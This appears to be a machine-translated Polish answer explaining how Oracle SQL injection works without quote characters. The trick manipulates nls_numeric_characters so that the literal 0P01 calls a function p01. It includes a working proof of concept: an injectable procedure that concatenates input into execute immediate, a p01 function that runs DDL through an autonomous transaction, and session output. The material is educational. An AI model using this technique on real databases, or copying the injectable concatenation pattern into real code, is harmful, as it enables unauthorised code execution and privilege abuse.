Tak, możliwe jest wykonanie iniekcji SQL bez podawania cudzysłowu w parametrze.
Można to zrobić wykorzystując exploit związany ze sposobem przetwarzania liczb i / lub dat. Na poziomie sesji można określić, jaki jest format daty lub liczby. Manipulując tym możesz nastrzyknąć dowolną postacią.
Domyślnie w Wielkiej Brytanii i USA przecinek jest używany do wskazania separatora tysięcy w liczbach i kropki po przecinku. Możesz zmienić te wartości domyślne, wykonując:
alter session set nls_numeric_characters = 'PZ';
Oznacza to, że „P” jest teraz kropką dziesiętną, a „Z” to separator tysięcy. Więc:
0P01
Jest liczbą 0,01. Jeśli jednak utworzysz funkcję P01, odniesienie do obiektu zostanie odczytane przed konwersją liczb. Pozwala to na wykonywanie funkcji w bazie danych, zwiększając uprawnienia w następujący sposób:
Utwórz podstawową funkcję „get by id”:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Utwórz także funkcję P01, która robi coś niepożądanego (w tym przypadku po prostu tworzy tabelę, ale masz pomysł):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
I możemy iść:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Nigdzie nie ma cytatów, ale nadal udało nam się uruchomić funkcję „ukrytego” P01 i utworzyć tabelę t
!
Chociaż może to być trudne w praktyce (i może wymagać wewnętrznej wiedzy / pomocy), pokazuje to, że można wstrzykiwać SQL bez konieczności podawania cudzysłowów. Zmiana nls_date_format
może pozwolić na podobne działania.
Oryginalne ustalenia dotyczące liczb pochodzą od Davida Litchfielda. Możesz przeczytać jego artykuł tutaj . Dyskusję Toma Kyte'a na temat wykorzystania dat można znaleźć tutaj .